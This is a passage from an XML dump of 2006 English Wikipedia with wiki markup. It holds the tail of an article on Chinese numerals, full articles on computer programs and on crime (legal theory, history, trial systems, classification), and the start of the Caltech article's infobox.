* 3 is three horizontal ([[Wiktionary:三|三]]) or vertical ([[Wiktionary:〣|〣]]) strokes 
* 4 is a cross that looks like X ([[Wiktionary:〤|〤]])
* 5 is a loop ([[Wiktionary:〥|〥]])
* 6 is a dot (which signifies 5 the same way as on an abacus) on top of one horizontal stroke ([[Wiktionary:〦|〦]])
* 7 is a dot on top of two horizontal strokes ([[Wiktionary:〧|〧]])
* 8 is a dot on top of three horizontal strokes ([[Wiktionary:〨|〨]])
* 9 is a dot on top of a variant of the 〤 (4) symbol ([[Wiktionary:〩|〩]]); this symbol looks like the Chinese character for &quot;jiǔ ([[Wiktionary:久|久]])&quot;, compare to the formal character '9' &quot;jiǔ ([[Wiktionary:玖|玖]])&quot;. (''Some web browsers, e.g. IE 5.5, display this character incorrectly as the &quot;fǎn wén&quot;, or reverse &quot;wén&quot; radical (夂 &amp; 攵 &amp; 夊 &amp; 文), click [http://www.unicode.org/cgi-bin/GetUnihanData.pl?codepoint=3029 here] to see the correct graphic glyph.'')

The digits 1 to 3 come in the vertical and horizontal version so that they can alternate if these digits are next to each other. 
The first digit usually use the vertical version. 
e.g. 21 is written as ||— instead of || | which can be confused with 3.

==Hand gestures==
''Main article at: [[Chinese number gestures]].''

There is a common method of using of one hand to signify the numbers one to ten. While the five digits on one hand can express the numbers one to five, six to ten have special signs that can be used in commerce or day-to-day communication.

==Miscellaneous==

During [[Ming dynasty|Ming]] and [[Qing dynasty|Qing]] dynasties (when [[Arabic numerals]] were first introduced into China), some Chinese mathematicians used Chinese numeral characters as positional system digits.  After Qing dynasty, both the Chinese numeral characters and the Suzhou numerals were replaced by [[Arabic numerals]] in mathematical writings.

Traditional Chinese numeric characters are also used in [[Japan]]. In vertical text (that is, read top to bottom), using characters for numbers is the norm, while in horizontal text, Arabic numerals are most common. Chinese numeric characters are also used in much the same formal or decorative fashion that Roman numerals are in Western cultures. Chinese numerals may appear together with Arabic numbers on the same sign or document.

[[de:Chinesische Zahlen]]
[[es:Numeración china]]
[[fr:Numération chinoise]]
[[ko:한자 숫자]]
[[nl:Chinese cijfers]]
[[fi:Kiinalaiset numerot]]
[[ru:Китайские цифры]]
[[zh:中文数字]]

[[category:Numeration]]</text>
    </revision>
  </page>
  <page>
    <title>Computer program</title>
    <id>5783</id>
    <revision>
      <id>42160707</id>
      <timestamp>2006-03-04T05:34:49Z</timestamp>
      <contributor>
        <username>Jonnyapple</username>
        <id>724455</id>
      </contributor>
      <minor />
      <comment>/* Programs vs. data */ fixed link (prev went to speech impediment)</comment>
      <text xml:space="preserve">The terms '''computer program''', '''software program''', ''[[application software|applications program]]'', ''[[system software]]'', or just '''program''' are used to refer to either an [[executable]] program (by both lay people and [[computer programmer]]s) or the collection of [[source code]] from which an executable program is created (eg, [[compiled]]).

==Terminology==

[[Software]] programs (collections of programs and related resources) are most frequently referred to as [[Application software|applications]] by end-users, as these people are focused on the abilities of application software (application programs) rather than [[system software]].

In general discussion among [[computer programmer]]s the context is invariably sufficient to distinguish which of the two possible meanings of the term are intended. &lt;!-- which out of a choice of one? --&gt;

Note: The [[United Kingdom|British English]] spelling ''programme'' is, for the most part, no longer used to refer to ''computer programs'', as most internationally-used computing terms use the words (and spelling conventions) adopted in the [[U.S.]].

==Program execution==
A modern day computer program is loaded into memory (usually by the [[operating system]]), interpreted and then executed (&quot;run&quot;) instruction by instruction until &quot;program [[Termination|termination]]&quot;, either with success or through software or hardware error.  Some primitive types of computers ran instructions encoded in various ways, an example would be [[Punch card|punch cards]].

Before a computer can execute any sort of program (including the operating system which is also a program) the [[Computer hardware|computer hardware]] must be initialized. This is done by a piece of software stored on [[Programmable read-only memory|programmable memory]] chips installed by the manufacturer called the [[BIOS]]. The BIOS will attempt to initialize the [[boot sequence]] making the computer ready for miscellaneous program execution.

==Programs vs. data==

The [[source code]] of a program is often treated as being different from the [[data]] it operates on.  In some cases this distinction is blured with programs creating, or modifying data, which is subsequently executed as part of the same program (this is a common occurrence for programs written in [[Lisp programming language|Lisp]]).  [[Neural network]]s are another example where this distiction between code and data is not clear cut.

==Programming==

A program is likely to contain a variety of different [[algorithm]]s.

Creating a computer program is the iterative process of writing new [[source code]] or modifying existing source code, followed by testing, analyzing and refining this code.  A person who practices this skill is referred to as a computer [[programmer]] or software developer. The sometimes lengthy process of computer programming is now referred to as &quot;software development&quot; or [[software engineering]]. The latter becoming more popular due to the increasing maturity of the discipline. (see [[Software engineering#Debate over who is a software engineer|Debate over who is a software engineer]])

Two other forms of modern day approaches are [[team programming]] where each member of the group has equal say in the development process except for one person who guides the group through discrepancies. These groups tend to be around 10 people to keep the group manageable. The second form is referred to as &quot;peer programming&quot; or [[pair programming]].

See [[Software engineering#Process and methodology|Process and methodology]] for the different aspects of modern day computer programming.

==See also==
*[[Turing machine]]
*[[Programming language]]
*[[Computer software]]
*[[Programmer]]
*[[Source code]]
*[[Extreme Programming]]
*[[Operating system]]
*[[Programming paradigm]]
*[[Firmware]] / [[Device driver]]
*[[Polyglot (computing)|Polyglot program]]

==Bibliography==
*{{note|Murdocca}} Miles J. Murdocca &amp; Vincent P. Heuring (2000). Principles of Computer Architecture. Prentice-Hall, Inc. ISBN 0-201-43664-7
*{{note|wwwPOCA}} [http://iiusaedu.com/~murdocca/POCA Principles of Computer Architecture] (POCA) &amp;ndash; ARCTools virtual computer available for download to execute referenced code, accessed August 24, 2005
*{{note|TalenAutomata}} J.Glenn Brookshear (1989). Theory of Computation, Formal Languages, Automata, and Complexity. The Benjamin/Cummings Publishing Co.Inc. ISBN 0-8053-0143-7

==External links==
*[http://www.webopedia.com/TERM/P/program.html Definition of Program @ Webopedia]
*[http://www.Agtivity.com/computer_program.htm Definition of Computer program @ Agtivity]
*[http://wombat.doc.ic.ac.uk/foldoc/foldoc.cgi?query=software Definition of Software @ FOLDOC]

[[Category:Programming|*]]
[[Category:Software]]

[[bs:Računarski program]]
[[ca:Programa informàtic]]
[[cs:Program]]
[[de:Computerprogramm]]
[[es:programa de ordenador]]
[[et:Arvutiprogramm]]
[[fa:&amp;#1576;&amp;#1585;&amp;#1606;&amp;#1575;&amp;#1605;&amp;#1607; (&amp;#1585;&amp;#1575;&amp;#1740;&amp;#1575;&amp;#1606;&amp;#1607;)]]
[[fi:Tietokoneohjelma]]
[[fr:programme informatique]]
[[id:Program komputer]]
[[io:Programo]]
[[it:programma (informatica)]]
[[ja:&amp;#12503;&amp;#12525;&amp;#12464;&amp;#12521;&amp;#12512; (コンピュータ)]]
[[ko:&amp;#54532;&amp;#47196;&amp;#44536;&amp;#47016;]]
[[lo:ໂປແກມ ຄອມພິວເຕີ]]
[[lv:Datorprogramma]]
[[nl:computerprogramma]]
[[pt:Programa de computador]]
[[ru:&amp;#1050;&amp;#1086;&amp;#1084;&amp;#1087;&amp;#1100;&amp;#1102;&amp;#1090;&amp;#1077;&amp;#1088;&amp;#1085;&amp;#1072;&amp;#1103; &amp;#1087;&amp;#1088;&amp;#1086;&amp;#1075;&amp;#1088;&amp;#1072;&amp;#1084;&amp;#1084;&amp;#1072;]]
[[simple:Computer program]]
[[sv:datorprogram]]
[[th:โปรแกรมคอมพิวเตอร์]]
[[zh:%E7%A8%8B%E5%BA%8F]]</text>
    </revision>
  </page>
  <page>
    <title>Crime</title>
    <id>5785</id>
    <revision>
      <id>42140094</id>
      <timestamp>2006-03-04T02:10:21Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Crimin}}{{CriminTheo}}
{{OtherUses|the act of Crime}}
A '''crime''' in a nontechnical sense is an act that violates a [[politics|political]] or [[morality|moral]] rule. But in many [[nation]]s, the [[government]]s have discovered that informal sanctions are ineffective to control some types of antisocial behaviour, so the system of [[social control]] has to be formalised. [[Law]]s are designed to regulate human behaviour and the [[state (law)|state]] provides [[remedy|remedies]] and [[sanctions (law)|sanctions]] to protect its [[citizen]]s if the laws are broken. But not all breaches of the law are considered crimes, e.g. [[breach of contract|breaches of contract]]. The [[label (sociology)|label]] of &quot;crime&quot; and the accompanying [[social stigma]] are usually reserved for those activities causing more serious loss and damage to the citizens of the state. Its use is intended to reflect a consensus of condemnation for the identified behaviour and, in the event that an accused is [[conviction (law)|convicted]] following a [[trial (law)|trial]] applying principles of [[due process]], to justify the state imposing [[punishment]]. The term is also applied to minor [[regulatory offences]] or [[infraction]]s, e.g. where the [[criminal law]] is used to keep order on the roads.

== Definition of crime in general ==
The systematic study of the causes ([[aetiology]]), prevention, control, and penal responses to crime is called [[criminology]]. For these purposes, the definition of crime depends on the theoretical stance taken. The nature of crime could be viewed from either a legal or [[norm (sociology)|normative]] perspective. A legalistic definition takes as its starting point the [[common law]] or the [[statute|statutory]]/[[codification|codified]] definitions contained in the laws enacted by the [[sovereignty|sovereign]] government. Thus, a crime is any [[culpability|culpable]] action or [[omission (criminal)|omission]] prohibited by law and punished by the state. This is an uncomplicated view: a crime is a crime because the law defines it as such. 

A normative definition views crime as [[deviant behavior|deviant behaviour]] that violates prevailing norms, i.e. [[culture|cultural]] standards specifying how humans ought to behave. This approach considers the complex realities surrounding the concept of crime and seeks to understand how changing [[society|social]], political, [[psychology|psychological]], and [[economics|economic]] conditions may affect the current definitions of crime and the form of the legal, [[law enforcement]], and penal responses made by the state. These [[structuralism|structural]] realities are fluid and often contentious. For example, as cultures change and the political environment shifts, behaviour may be [[criminalisation|criminalised]] or [[decriminalisation|decriminalised]] which will directly affect the [[statistics|statistical]] [[crime rate]]s, determine the allocation of resources for the enforcement of such laws, and influence public opinion. Similarly, changes in the way that crime data is collected and/or calculated may affect the public perceptions of the extent of any given &quot;crime problem&quot;. All such adjustments to [[crime statistics]], allied with the experience of people in their everyday lives, shape attitudes on the extent to which law should be used to enforce any particular social norm. There are many ways in which behaviour can be controlled without having to resort to using the criminal law. Indeed, in those cases where there is no clear consensus on the given norm, the use of the criminal law by the group in [[power (sociology)|power]] to prohibit the behaviour of another group may be considered an improper limitation of the second group's [[freedom]], and the ordinary members of society may lose some of their respect for the law in general whether the disputed law is actively enforced or not.

==Why criminalise?==
Criminalisation is intended as a pre-emptive, harm-reduction device, using the threat of punishment as a [[deterrent]] to those proposing to engage in the behaviour causing harm. The state becomes involved because the costs of not criminalising (i.e. allowing the harms to continue unabated) outweigh the costs of criminalising it (i.e. restricting individual [[liberty]] and so minimising harm to others). The process of criminalisation should be controlled by the state because:
*Victims or witnesses of crimes might be deterred from taking any action if they fear retaliation. Even in policed societies, fear may inhibit reporting or co-operation in a trial.
*The victims may only want compensation for the injuries suffered, while being indifferent to the more general need for [[deterrence]]: see Polinsky &amp; Shavell (1997) on the fundamental divergence between the private and the social motivation for using the legal system.
*Even if the victims recognise that they are victims, they may not have the resources to investigate and seek legal redress for the injuries suffered: the enforcers formally appointed by the state have the expertise and the resources.
*Victims do not have economies of scale to administer a penal system, let alone collect any fines levied by a court (see Polinsky (1980) on the enforcement of fines). Garoupa &amp; Klerman (2002) warn that a [[rent-seeking]] government's primary motivation is to maximise revenue and so, if offenders have sufficient wealth, a rent-seeking government is more aggressive than a [[social welfare function|social-welfare]]-maximising government in enforcing laws against minor crimes (usually with a fixed penalty such as parking and routine traffic violations), but more lax in enforcing laws against major crimes.

==History ==
The first civilisations had codes of law, containing both civil and penal rules mixed together, though these codes were not always recorded. According to Oppenheim (1964), the first known written codes were produced by the [[Sumerians]], and it was probably their king [[Ur-Nammu]] (who ruled over [[Ur]] in the 21st century BC) who acted as the first legislator, creating a formal system in thirty-two articles. The Sumerians later issued other codes including the &quot;code of Lipit-Istar&quot; (last king of the 3rd dynasty of Ur, Isin - 20th century BC). This code contains some fifty articles and has been reconstructed by the comparison among several sources. Kramer (1971: 4) adds a further element: &quot;The Sumarian was deeply conscious of his personal rights and resented any encroachment on them, whether by his King, his superior, or his equal. No wonder that the Sumerians were the first to compile laws and law codes.&quot;

In [[Babylon]], Driver and Mills (1952-55) and Skaist (1994) describe the successive legal codes, including the [[code of Hammurabi]] (one of the richest of ancient times), which reflected society's belief that law was derived from the will of the gods (see [[Babylonian law]]. Many of the states at this time were [[theocracy|theocratic]], and their codes of conduct were religious in origin or reference.

[[Sir Henry Maine|Maine]] (1861) studied the ancient codes and failed to find any criminal law in the modern sense of the word. While modern systems distinguish between offences against the &quot;State&quot; or &quot;Community&quot;, and offences against the &quot;Individual&quot;, what was termed the penal law of ancient communities was not the law of &quot;Crimes&quot; (''crimina''); it was the law of &quot;Wrongs&quot; (''delicta''). Thus, the Hellenic laws (see Gagarin: 1986; and Garner: 1987) treated all forms of [[theft]], [[assault]], [[rape]], and [[murder]] as private wrongs, and action for enforcement was up to the victim or their survivors (which was a challenge in that although there was law, there were no formalised courts in the earliest system). It was the Romans who systematised law and exported it to their Empire. Again, the initial rules of [[Roman law|Roman Law]] were that assaults were a matter of private compensation. The significant Roman Law concept was of ''dominion'' (see Daube: 1969). The ''[[pater familias]]'' was in possession of all the family and its property (including slaves). Hence, interference with any property was enforced by the ''pater''. The Commentaries of Gaius on the [[Twelve tables|Twelve Tables]] treated ''furtum'' (modern theft) as if it was a [[tort]]. Similarly, assault and violent [[robbery]] were allied with [[trespass]] as to the ''pater's'' property (so, for example, the rape of a female slave, would be the subject of compensation to the ''pater'' as having trespassed on his &quot;property&quot;) and breach of such laws created a ''vinculum juris'' (an obligation of law) that could only be discharged by the payment of monetary compensation (modern [[damages]]). Similarly, in the consolidated Teutonic Laws of the Germanic tribes (see Guterman: 1990), there was a complex system of money compensations for what would now be considered the complete range of criminal offences against the person from murder down. 

Even though Rome abandoned [[England]] sometime around 400 AD, the Germanic mercenaries who had largely been enforcing the the Roman occupation, stayed on and continued to use a mixture of Roman and Teutonic Law, with much written down by the early Anglo-Saxon Kings (see Attenborough: 1963). But, it was not until a more unified Kingdom emerged following the Norman invasion and the King was attempting to assert power over the land and its peoples, that the modern concept emerged, namely that a crime is not only an offence against the &quot;individual&quot;, it is also a wrong against the &quot;state&quot; (see Kern: 1948; Blythe: 1992; and Pennington: 1993.). This is a [[common law]] idea and the earliest conception of a criminal act involved events of such major significance that the &quot;state&quot; had to usurp the usual functions of the civil tribunals and direct a special law or ''privilegium'' against the perpetrator. All the earliest criminal trials were wholly extraordinary and arbitrary without any settled law to apply, whereas the civil delictual law was highly developed and consistent in its operation (except where the King wanted to raise money by selling a new form of [[Writ]]). The development of the idea that it is the &quot;state&quot; dispensing [[justice]] in a court only emerges in parallel with or after the emergence of the concept of sovereignty. In continental Europe, Vinogradoff (1909) reports the persistence of Roman Law, but with a stronger influence from the Church (see Tierney: 1964, 1979). Coupled with the more diffuse political structure based on smaller state units, rather different legal traditions emerged, remaining more strongly rooted in Roman [[jurisprudence]] modified to meet the prevailing political climate.

From the Hellenic system onwards, the policy rationale for requiring the payment of monetary compensation for wrongs committed has been to avoid feuding between [[clan]]s and [[family|families]] (note the concept of ''pater familias'' as a unifying factor in extended kin groups, and the later practice of [[wergild]] in this context). If families' feelings could be mollified by compensation, this would help to keep the peace. It did not always work but, in the earliest times, the &quot;states&quot; were not prepared to provide an independent police force. Thus, criminal law grew out of what is now tort and, in real terms, many acts and omissions that are classified as crimes overlap civil law concepts.

== Natural law theory ==
The consistent theoretical problem has been to justify the state's use of force to coerce compliance with its laws. One of the earliest justifications was the theory of [[natural law]]. This posits that the standards of morality are derived from or constructed by the nature of the world or of human beings. [[Thomas Aquinas]] said: &quot;the rule and measure of human acts is the reason, which is the first principle of human acts&quot; (Aquinas, ST I-II, Q.90, A.I), i.e. since people are by nature rational beings, it is morally appropriate that they should behave in a way that conforms to their rational nature. Thus, to be valid, any law must conform to natural law and coercing people to conform to that law is morally acceptable. [[William Blackstone]] (1979: 41) describes the thesis: 
:&quot;This law of nature, being co-eval with mankind and dictated by God himself, is of course superior in obligation to any other. It is binding over all the globe, in all countries, and at all times: no human laws are of any validity, if contrary to this; and such of them as are valid derive all their force, and all their authority, mediately or immediately, from this original.&quot; 
But [[John Austin (legal philosophy)|John Austin]], an early [[Legal positivism|positivist]], applied [[utilitarianism]] in accepting the calculating nature of human beings and the existence of an objective morality, but denied that the legal validity of a norm depends on whether its content conforms to morality, i.e. a moral code can objectively determine what people ought to do, the law can embody whatever norms the legislature decrees to achieve social utility, but every individual is free to choose what he or she will do. Similarly, [[H.L.A. Hart|Hart]] (1961) saw the law as an aspect of sovereignty with lawmakers able to adopt any law as a means to a moral end. Thus, the necessary and sufficient conditions for the truth of a proposition of law were simply that the law was internally logical and consistent, and that state power was being used with responsibility. Dworkin (2005) rejects Hart's theory and argues that fundamental among political rights is the right of each individual to the equal respect and concern of those who govern him. He offers a theory of compliance overlaid by a theory of [[deference]] (the citizen's duty to obey the law) and a theory of enforcement, which identifies the legitimate goals of enforcement and punishment. Legislation must conform to a theory of legitimacy, which describes the circumstances under which a particular person or group is entitled to make law, and a theory of legislative justice, which describes the law they are entitled or obliged to make.

Indeed, the majority of natural law theorists accept that a primary function of the law is to enforce the prevailing morality. The problem with this view is that is that it makes any moral criticism of the law impossible in that, if conformity with natural law is a necessary condition for legal validity, all valid law must, by definition, be morally just. Thus, on this line of reasoning, the legal validity of a norm necessarily entails its moral justice. The solution to this problem is to admit some degree of [[moral relativism]] and to accept that norms may evolve over time and, therefore, the continued enforcement of old laws may be criticised in the light of the current norms. The law may be acceptable but the use of state power to coerce citizens to comply with that law is not morally justified. In more modern conceptions of the theory, crime is characterised as the violation of [[individual rights]]. Since rights are considered as natural, rather than man-made, what constitutes a crime is also natural, in contrast to laws, which are man-made. [[Adam Smith]] illustrates this view, saying that a [[smuggling|smuggler]] would be an excellent citizen, &quot;''...had not the laws of his country made that a crime which nature never meant to be so.''&quot; 

Natural law theory therefore distinguishes between &quot;criminality&quot; which is derived from human nature, and &quot;illegality&quot; which is derived from the interests of those in power. The two concepts are sometimes expressed with the phrases ''[[malum in se]]'' and ''[[malum prohibitum]]''. A crime ''malum in se'' is argued to be inherently criminal; whereas a  crime ''malum prohibitum'' is argued to be criminal only because the law has decreed it so. This view leads to a seeming [[paradox]], that an act can be illegal that is no crime, while a criminal act could be perfectly legal. Many [[the Enlightenment|Enlightenment]] thinkers such as [[Adam Smith]] and the American [[Founding Fathers]] subscribed to this view to some extent, and it remains influential among so-called [[liberalism#classical liberalism|classical liberals]] and [[libertarian]]s.

==Trial==
===The form of the trial===
There are two primary systems for conducting a trial:
*[[Adversarial system|Adversarial]]: In the [[common law]] systems, an adversarial or accusatory approach is used to adjudicate [[guilt]] or [[innocence]]. The assumption is that the truth is more likely to emerge from the open contest between the [[prosecution]] and the defence in  presenting the [[evidence (law)|evidence]] and opposing legal arguments with a [[judge]] acting as a neutral referee and as the arbiter of the law. In more serious cases, there is a the [[jury]] to determine the facts. This polarises the issues, with each competitor acting in its own self-interest, and so presenting the facts and interpretations of the law in a deliberately biased way. The intention is that through a process of argument and counter-argument, examination-in-chief and cross-examination, each side will test the truthfulness, relevancy, and sufficiency of the opponent's evidence and arguments. To maintain [[fairness]], there is a [[presumption of innocence]], and the [[burden of proof]] lies on the prosecution. Critics of the system argue that the desire to win is more important than the search for truth. Further, the results are likely to be affected by structural inequalities. Those [[defendant]]s with resources can afford to hire a the best [[lawyers]], whereas those who are poor are more easily victimised because, even when the state operates a system of financial support for defendants, the quality of legal representation is often inferior to the lawyers acting for the state.
*[[Inquisitorial system|Inquisitorial]]: In the [[civil law (common law)|civil law]] systems, the responsibility for supervising the investigation  by the police into whether a crime has been committed falls on an examining magistrate or judge who then conducts the trial. The assumption is that the truth is more likely to emerge from an impartial and exhaustive investigation both before and during the trial itself. The examining magistrate or judge acts as an inquisitor who directs the fact-gathering process by questioning witnesses, interrogating the suspect, and collecting other evidence. The lawyers who represent the interests of the state and the accused have a limited role to offer legal arguments and alternative interpretations to the facts that emerge during the process. All the interested parties are expected to co-operate in the investigation by answering the magistrate or judge's questions and, when asked, supplying all relevant evidence. The trial only takes place after all the evidence has been collected and the investigation is completed. Thus, most of the factual uncertainties will already be resolved, and the examining magistrate or judge will already have resolved that there is ''[[prima facie]]'' of guilt. The trial is no more than the public resolution of the ongoing investigation where the accused has the burden of rebutting the presumption of guilt. Critics argue that the examining magistrate or judge has too much power in that he or she will both investigate and adjudicate on the merits of the case. Although lay assessors do sit as a form of jury to offer advice to the magistrate or judge at the conclusion of the trial, their role is subordinate. Further, because a professional has been in charge of all aspects of the case to the conclusion of the trial, there are fewer opportunities to appeal the conviction alleging some procedural error.

===The function of the trial===
There are two forms of deterrence:
*Specific: The intention underlying the penal system is to deter future wrongdoing by the defendant if convicted. The punishment is supposed to demonstrate the unfortunate consequences that will follow any decision to break the law. If the convicted person considers the possibility of breaking the law again in the future, the assumption is that the individual will choose not to break the law and so avoid further punishment.
*General: The punishment imposed on the particular accused is also a warning to other potential wrongdoers. Thus the function of the trial is to gain the maximum publicity for the crime and its punishment so that others will be deterred from following in the particular accused's footsteps.

==Reasons==
Antisocial behaviour is criminalised and treated as offences against [[society]] which justifies punishment by the government. A series of distinctions are made depending on the passive subject of the crime (the [[victim]]), or on the offended interest(s), in crimes against:

* Personality of the state.
* [[Right]]s of the citizen.
* Public [[administration]].
* Administration of justice.
* [[Religion|Religious]] sentiment and [[faith]].
* [[Public order]].
* Public economy, [[industry]], and [[commerce]].
* Public [[morality]].
* Person and [[honour|honour]].
* [[Patrimony]].

Or they can be distinguished depending on the related punishment with [[sentence (law)|sentencing]] [[tariff]]s prescribed in line with the perceived seriousness of the offence with [[fine]]s and noncustodial sentences for the least serious, and in some states, [[capital punishment]] for the most serious.

==Classification==
In the [[United States]] since 1930, [[Uniform Crime Reports]] (UCR) have been tabulated annually by the [[Federal Bureau of Investigation|FBI]] from crime data submitted by [[law enforcement]] agencies across the [[United States]].  This data is compiled at the city, county, and state levels into the [[Uniform crime report]]s (UCR).  Violations of laws, which are derived from [[common law]], are classified as Part I (index) crimes in UCR data, and further categorised as violent and property crimes.  Part I violent crimes include murder and criminal homicide (voluntary manslaughter), forcible rape, aggravated assault, and robbery, while Part I property crimes include burglary, arson, larceny/theft, and motor vehicle theft.  All other crimes are classified as Part II crimes.

Crimes are also grouped by severity, some common categorical terms being: [[felony|felonies]], [[indictable offence]]s, [[misdemeanor]]s, and [[summary offence]]s.  For convenience, [[infraction]]s are also usually included in such lists although, in the U.S., they may not be the subject of the criminal law, but rather of the [[Civil law (private law)|civil law]].

The following are crimes in many [[criminal jurisdiction]]s:

{| border=0 cellpadding=0 cellspacing=0 align=&quot;center&quot; width=&quot;80%&quot;
|- 
|style=&quot;text-align:left;vertical-align:top;&quot;|
* [[Arson]] (not in [[English law]])
* [[Assault]]s
* [[Battery (crime)|Battery]]
* [[Blackmail]]
* [[Burglary]]
* [[Child sexual abuse]]
* [[Counterfeiting]]
|style=&quot;text-align:left;vertical-align:top;&quot;|
* [[Drug possession]]
* [[Embezzlement]]
* [[Espionage]]
* [[Extortion]]
* [[Forgery]]
* [[Fraud]]/[[Deception offences]]
* [[Homicide]]
|style=&quot;text-align:left;vertical-align:top;&quot;|
* [[Identity theft]] 
* [[Gambling|Illegal gambling]]
* [[Inchoate offense]]s
* [[Kidnapping]]
* [[Larceny]]
* [[Looting]]
|style=&quot;text-align:left;vertical-align:top;&quot;|
* [[Motor vehicle theft]]/[[TWOC]]
* [[Perjury]]
* [[Rape]]
* [[Robbery]]
* [[Sexual assault]]s
* [[Smuggling]]
|style=&quot;text-align:left;vertical-align:top;&quot;|
* [[Stalking]]
* [[Tax evasion]]
* [[Theft]]
* [[Treason]]
* [[Trespass]] (not in English law)
* [[Vandalism]] (see [[Criminal Damage Act 1971]] for the codified offence in English law)
* [[Weapon possession]]
|-
|}

== See also ==
{{col-begin}}
{{col-break}}
* [[Actus reus]]
* [[Case law]]
* [[Civil law (private law)|Civil law]]
* [[Crime against humanity]]
* [[Crime index]]
* [[Crime mapping]]
* [[Criminal justice]]
{{col-break}}
* [[Criminal record]]
* [[Death penalty]]
* [[Detective]]
* [[Hate crime]]
* [[Insanity defense]]
* [[International crime]]
* [[Mala in se]]
{{col-break}}
* [[Mala prohibita]]
* [[Mens rea]]
* [[Piracy]]
* [[Prison]]
* [[Racial profiling]]
* [[Sexual crime]]
* [[Social policy]]
{{col-break}}
* [[Strict liability crimes]]
* [[Underground economy]]
* [[Victimology]]
* [[War crime]]

{{col-end}}

== External link ==
{{wikiquote}}
* [http://www.nationmaster.com/graph-T/cri_tot_cri Crime incidence by country]

==Bibliography==
*Aquinas, Thomas. (1988). ''On Law, Morality and Politics''. 2nd edition. Indianapolis: Hackett Publishing Co. ISBN 0872206637
*Attenborough, F. L. (ed. and trans.) (1922). ''The Laws of the Earliest English Kings''. Cambridge: Cambridge University Press. Reprint March 2006. The Lawbook Exchange, Ltd. ISBN 9781584775836
*Blackstone, William. (1765-1769). ''Commentaries on the Law of England: A Facsimile of the First Edition of 1765-1769, Vol. 1''. (1979). Chicago: The University of Chicago Press. ISBN 0226055388
*Blythe, James M. (1992). ''Ideal Government and the Mixed Constitution in the Middle Ages''. Princeton: Princeton University Press. ISBN 0691031673
*Daube, David. (1969). ''Roman Law: Linguistic, Social and Philosophical Aspects''. Edinburgh: Edinburgh University Press. ISBN 0852240511
*Driver, G. R. &amp; Mills, John C. (1952-55). ''The Babylonian Laws''. 2 Vols. Oxford: Oxford University Press. ISBN 0198251106
*Dworkin, Ronald. (2005). ''Taking Rights Seriously''. Harvard University Press. ISBN 0674867114
*Gagarin, Michael. (1986). ''Early Greek Law''. Reprint edition (1989). Berkeley: University of California Press. ISBN 0520066022
*Garner, Richard. (1987). ''Law and Society in Classical Athens''. London: Palgrave Macmillan. ISBN 0312008562
*Garoupa, Nuno &amp; Klerman, Daniel. (2002). &quot;Optimal Law Enforcement with a Rent-Seeking Government&quot;. ''American Law and Economics Review'' Vol. 4, No. 1. pp116-140.
*Guterman, Simeon L. (1990). ''The Principle of the Personality of Law in the Germanic Kingdoms of Western Europe from the Fifth to the Eleventh Century''. New York: P. Lang. ISBN 0820407313
*Hart, H.L.A. (1961). ''The Concept of Law''. 2nd revised edition (1997). Oxford: Oxford University Press. ISBN 0198761236
*Hart, H.L.A. (1972). ''Law, Liberty and Morality''. Stanford: Stanford University Press. ISBN 0804701547
*Kern, Fritz. (1948). ''Kingship and Law in the Middle Ages''. Reprint edition (1985), Westport, Conn.: Greenwood Press.
*Kramer, Samuel Noah. (1971). ''The Sumerians: Their History, Culture, and Character''. Chicago: University of Chicago. ISBN 0226452387
*Maine, Henry Sumner. (1861). ''Ancient Law: Its Connection with the Early History of Society, and Its Relation to Modern Ideas''. Reprint edition (1986). Tucson: University of Arizona Press. ISBN 0816510067
*Oppenheim, A. Leo (and Reiner, Erica as editor). (1964). ''Ancient Mesopotamia: Portrait of a Dead Civilization''. Revised edition (September 15, 1977). Chicago: University of Chicago Press. ISBN 0226631877
*Pennington, Kenneth. (1993). ''The Prince and the Law, 1200–1600: Sovereignty and Rights in the Western Legal Tradition''. Berkeley: University of California Press.
*Polinsky, A. Mitchell. (1980). &quot;Private versus Public Enforcement of Fines&quot;. ''The Journal of Legal Studies'', Vol. IX, No. 1, (January), pp105-127.
*Polinsky, A. Mitchell &amp; Shavell, Steven. (1997). &quot;On the Disutility and Discounting of Imprisonment and the Theory of Deterrence,&quot; NBER Working Papers 6259, National Bureau of Economic Research, Inc. [http://ideas.repec.org/p/nbr/nberwo/6259.html]
*Skaist, Aaron Jacob. (1994). ''The Old Babylonian Loan Contract: Its History and Geography''. Ramat Gan, Israel: Bar-Ilan University Press. ISBN 9652261610
*Tierney, Brian. (1979). ''Church Law and Constitutional Thought in the Middle Ages''. London: Variorum Reprints. ISBN 0860780368
*Tierney, Brian. (1964). ''The Crisis of Church and State, 1050–1300''. Reprint edition (1988). Toronto: University of Toronto Press. ISBN 0802067018
*Vinogradoff, Paul. (1909). ''Roman Law in Medieval Europe''. Reprint edition (2004). Kessinger Publishing Co. ISBN 1417949090
[[Category:Crime|*]]
[[Category:Criminal law]]
[[Category:Criminology]]
[[af:Misdaad]]
[[bg:Престъпление]]
[[da:Kriminalitet]]
[[de:Verbrechen]]
[[eo:krimo]]
[[es:Crimen]]
[[et:Kuritegu]]
[[fi:Rikos]]
[[fr:Délit]]
[[he:עבירה]]
[[io:Krimino]]
[[ja:犯罪]]
[[lb:Kriminalitéit]]
[[nl:Misdaad]]
[[pl:Przestepstwo]]
[[pt:Crime]]
[[ru:Преступление]]
[[simple:Crime]]
[[tr:Suç]]
[[zh:犯罪]]</text>
    </revision>
  </page>
  <page>
    <title>California Institute of Technology</title>
    <id>5786</id>
    <revision>
      <id>41951329</id>
      <timestamp>2006-03-02T21:08:41Z</timestamp>
      <contributor>
        <ip>209.56.200.145</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Infobox_University 
|name           = California Institute of Technology 
|image          = [[Image:CaltechLogo.png|Caltech Seal]] 
|motto          = The truth shall make you free. 
|established    = [[1891]] 
|type           = [[Private university|Private]] 
|president= [[David Baltimore]] (departing) 
|city           = [[Pasadena, California|Pasadena]] 
|state          = [[California|CA]] 
|country        = [[United States|USA]] 
|undergrad      = 896 
|postgrad       = 1,275 
|staff= 386 
|campus         = [[Urban_area|Urban]], 124 acres (0.5&amp;nbsp;km&amp;sup2;) 
|endowment= US$1.4 billion 
|mascot         = Beaver 
|website= [http://www.caltech.edu/ www.caltech.edu]
}}
